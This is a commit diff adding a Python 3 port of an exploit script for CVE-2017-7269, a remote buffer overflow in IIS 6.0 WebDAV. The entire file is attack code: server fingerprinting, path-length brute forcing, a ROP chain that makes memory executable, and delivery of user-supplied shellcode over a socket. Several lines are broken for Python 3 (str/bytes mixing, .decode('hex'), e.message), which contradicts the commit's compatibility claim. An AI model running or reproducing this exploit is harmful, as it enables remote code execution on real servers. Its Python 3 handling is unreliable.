Created a second py script that will be compatible with the latest version of python 3

The latest version of Python 3 had some package renamings making it not possible to run directly on py3

Author: nnarciss98

explodingcanPy3.py

@@ -0,0 +1,290 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+#
+# An implementation of NSA's ExplodingCan exploit
+# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
+# CVE-2017-7269 
+#
+# by @danigargu
+#
+#
+
+import re
+import sys
+import socket
+import requests
+import http.client
+import string
+import time
+import random
+import sys
+
+from urllib.parse import urlparse
+from struct import pack
+
+REQUEST_TIMEOUT = 10
+DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")
+
+def decode(data):
+    return data.decode("utf-8").encode("utf-16le")
+
+def encode(data):
+    return data.decode("utf-16le").encode("utf-8")
+
+p = lambda x : pack("<L", x) # pack
+
+def rand_text_alpha(size):
+    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
+    return ''.join(random.choice(chars) for _ in range(size))
+
+def supports_webdav(headers):
+    if "DAV" in headers.get('MS-Author-Via','') or \
+        headers.get('DASL','') == '<DAV:sql>' or \
+        re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
+        "PROPFIND" in headers.get('Public','') or \
+        "PROPFIND" in headers.get('Allow',''):
+        return True
+    return False
+
+def check(url):
+    r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
+    if r.status_code != 200:
+        print("[-] Status code: %d" % r.status_code)
+        return False
+
+    print("[*] Server found: %s" % r.headers['Server'])
+    if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
+        return True
+    return False
+
+def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
+    idx  = 0
+    junk = 60
+    found = False
+    iis_path_len = None
+    cur_size = max_len
+
+    assert max_len <= 130, "Max length exceeded (130)"
+    init_lenght = 130-max_len
+
+    while not found and cur_size > min_len:
+        cur_size = (max_len-idx)
+        to_brute = rand_text_alpha(init_lenght+idx)         
+        base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute
+
+        sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
+        sys.stdout.flush()      
+        try:
+            r = requests.request('PROPFIND', url, 
+                    timeout=REQUEST_TIMEOUT, headers={
+                        'Content-Length': '0',
+                        'Host': 'localhost',
+                        'If': base_query
+                    })
+
+            if r.status_code == 500:
+                iis_path_len = (max_len-idx)
+                found = True
+            idx += 1
+            time.sleep(delay)
+
+        # requests.exceptions.ReadTimeout
+        except requests.exceptions.ConnectionError as e:
+            print("[-] ERROR: %s" % e.message)
+            break
+
+    if iis_path_len and iis_path_len == max_len:
+        iis_path_len = None
+    
+    return iis_path_len
+
+def make_payload(p_url, iis_path_len, shellcode):
+    url = p_url.geturl()
+    payload = "PROPFIND / HTTP/1.1\r\n"
+    payload += "Host: %s\r\n" % p_url.netloc
+    payload += "Content-Length: 0\r\n"
+    payload += "If: <%s/a" % url
+
+    junk = (128-iis_path_len) * 2
+
+    p1  = rand_text_alpha(junk) # Varies the length given its IIS physical path
+    p1 += p(0x02020202)
+    p1 += p(0x680312c0) # str pointer to .data httpext.dll
+    p1 += rand_text_alpha(24)
+    p1 += p(0x680313c0) # destination pointer used with memcpy
+    p1 += rand_text_alpha(12)
+    p1 += p(0x680313c0) # destination pointer used with memcpy
+    
+    payload += encode(p1)
+
+    payload += "> (Not <locktoken:write1>) "
+    payload += "<%s/b" % url
+
+    p2  = rand_text_alpha(junk - 4)
+    p2 += p(0x680313c0)
+
+    """
+    Stack adjust:
+
+    rsaenh.dll:68006E4F  pop     esi
+    rsaenh.dll:68006E50  pop     ebp
+    rsaenh.dll:68006E51  retn    20h
+    """
+
+    p2 += p(0x68006e4f) # StackAdjust
+    p2 += p(0x68006e4f) # StackAdjust
+    p2 += rand_text_alpha(4)
+    p2 += p(0x680313c0)
+    p2 += p(0x680313c0)
+    p2 += rand_text_alpha(12)
+
+    """
+    rsaenh.dll:68016082  mov     esp, ecx
+    rsaenh.dll:68016084  mov     ecx, [eax]
+    rsaenh.dll:68016086  mov     eax, [eax+4]
+    rsaenh.dll:68016089  push    eax
+    rsaenh.dll:6801608A  retn
+    """
+
+    p2 += p(0x68016082)
+    p2 += rand_text_alpha(12)
+    p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
+    p2 += rand_text_alpha(4)
+    p2 += p(0x680124e3) # JMP [EBX]
+    p2 += p(0x68031460) # shellcode address
+    p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
+    p2 += p(0xffffffff)
+    p2 += p(0x680313c0)
+    p2 += p(0x6803046e) 
+    p2 += rand_text_alpha(4)
+    p2 += p(0x68031434)
+    p2 += p(0x680129e7) # leave; ret
+
+    """
+    rsaenh.dll:68009391  pop     eax
+    rsaenh.dll:68009392  pop     ebp
+    rsaenh.dll:68009393  retn    4
+    """
+
+    p2 += p(0x68009391)
+    p2 += rand_text_alpha(16)
+    p2 += p(0x6803141c)
+
+    """
+    rsaenh.dll:68006E05  lea     esp, [ebp-20h]
+    rsaenh.dll:68006E08  pop     edi
+    rsaenh.dll:68006E09  pop     esi
+    rsaenh.dll:68006E0A  pop     ebx
+    rsaenh.dll:68006E0B  leave
+    rsaenh.dll:68006E0C  retn    24h
+    """
+
+    p2 += p(0x68006e05)
+    p2 += rand_text_alpha(12)
+    p2 += p(0x68008246) # EAX val address
+    p2 += rand_text_alpha(4)
+
+    """
+    Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)
+
+    rsaenh.dll:68021DAA  mov     eax, [eax+110h]
+    rsaenh.dll:68021DB0  pop     ebp
+    rsaenh.dll:68021DB1  retn    4
+    """
+
+    p2 += p(0x68021daa)
+    p2 += rand_text_alpha(4)
+    p2 += p(0x680313f8)
+    p2 += p(0x680129e7) # leave; ret
+
+    payload += encode(p2)
+
+    """
+    stack restore:
+
+    90             nop
+    31db           xor ebx, ebx
+    b308           mov bl, 8
+    648b23         mov esp, dword fs:[ebx]
+    6681c40008     add sp, 0x800
+    90             nop
+    """
+    payload += encode("9031DBB308648B236681C4000890".decode("hex"))
+    payload += encode(shellcode)
+    payload += ">\r\n\r\n"
+
+    return payload
+
+def send_exploit(p_url, data):
+    host = p_url.hostname
+    port = p_url.port if p_url.port else 80
+    vulnerable = False
+    recv_data  = None
+
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.settimeout(50)
+        sock.connect((host, port))
+        sock.send(data)
+        recv_data = sock.recv(1024)
+        sock.close()
+    except socket.timeout:
+        print("[*] Socket timeout")
+        vulnerable = True
+    except socket.error as e:     
+        if e.errno == 54:
+            print("[*] Connection reset by peer")
+            vulnerable = True
+    return (vulnerable, recv_data)
+
+def main():    
+    if len(sys.argv) < 3:
+        print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
+        return
+
+    try:
+        url = sys.argv[1]
+        sc_file = sys.argv[2]
+        p_url = urlparse(url)
+        shellcode = None
+
+        with open(sc_file, 'rb') as f:
+            shellcode = f.read()
+
+        print("[*] Using URL: %s" % url)
+        if not check(url):
+            print("[-] Server not vulnerable")
+            return
+
+        iis_path_len = find_iis_path_len(url)
+        if not iis_path_len:
+            print("[-] Unable to determine IIS path size")
+            return
+
+        print("[*] Found IIS path size: %d" % iis_path_len)
+        if iis_path_len == DEFAULT_IIS_PATH_SIZE:
+            print("[*] Default IIS path: C:\Inetpub\wwwroot")
+
+        r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
+        if r and r.status_code == 207:
+            print("[*] WebDAV request: OK")
+            payload = make_payload(p_url, iis_path_len, shellcode)
+
+            print("[*] Payload len: %d" % len(payload))
+            print("[*] Sending payload...")
+            vuln, recv_data = send_exploit(p_url, payload)
+
+            if vuln:
+                print("[+] The host is maybe vulnerable")
+            if recv_data:
+                print(recv_data)   
+        else:
+            print("[-] Server did not respond correctly to WebDAV request")
+            return
+            
+    except Exception as e:
+        print("[-] %s" % e)
+
+if __name__ == '__main__':
+    main()
+